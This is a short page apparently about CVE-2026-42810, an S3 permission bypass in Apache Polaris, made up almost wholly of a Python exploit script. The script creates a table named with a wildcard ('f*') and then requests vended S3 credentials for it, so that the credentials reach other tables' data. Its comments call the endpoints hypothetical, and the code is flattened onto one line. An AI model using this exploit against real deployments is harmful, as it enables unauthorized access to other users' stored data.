CVE-2026-42810 Apache Polaris S3权限绕过漏洞

import requests import json # Exploit concept for CVE-2026-42810 # Attacker creates a table with a wildcard name to broaden S3 credentials. def exploit_polaris_s3_bypass(target_url, attacker_token): headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # Step 1: Create a malicious table with a wildcard in the name # This attempts to match any table starting with 'f' malicious_table_name = "f*" namespace = "default" payload = { "name": malicious_table_name, "namespace": namespace, "properties": {} } print(f"[*] Attempting to create table '{namespace}.{malicious_table_name}'...") # Hypothetical API endpoint create_url = f"{target_url}/api/management/v1/namespaces/{namespace}/tables" try: response = requests.post(create_url, headers=headers, json=payload) if response.status_code == 200 or response.status_code == 201: print("[+] Malicious table created successfully.") else: print(f"[-] Failed to create table: {response.text}") return except Exception as e: print(f"[-] Error creating table: {e}") return # Step 2: Request temporary S3 credentials for the malicious table print(f"[*] Requesting S3 credentials for '{namespace}.{malicious_table_name}'...") creds_url = f"{target_url}/api/iceberg/v1/{namespace}/tables/{malicious_table_name}/s3-credentials" try: creds_response = requests.get(creds_url, headers=headers) if creds_response.status_code == 200: creds = creds_response.json() print("[+] S3 Credentials received:") print(json.dumps(creds, indent=2)) print("[!] The 'Resource' or 'Condition' field likely contains a wildcard (e.g., arn:aws:s3:::bucket/f*/*)") print("[!] Using these credentials, an attacker can access data for tables like 'foo', 'food', etc.") else: print(f"[-] Failed to get credentials: {creds_response.text}") except Exception as e: print(f"[-] Error getting credentials: {e}") if __name__ == "__main__": # Replace with actual target and token exploit_polaris_s3_bypass("http://localhost:8080", "ATTACKER_JWT_TOKEN")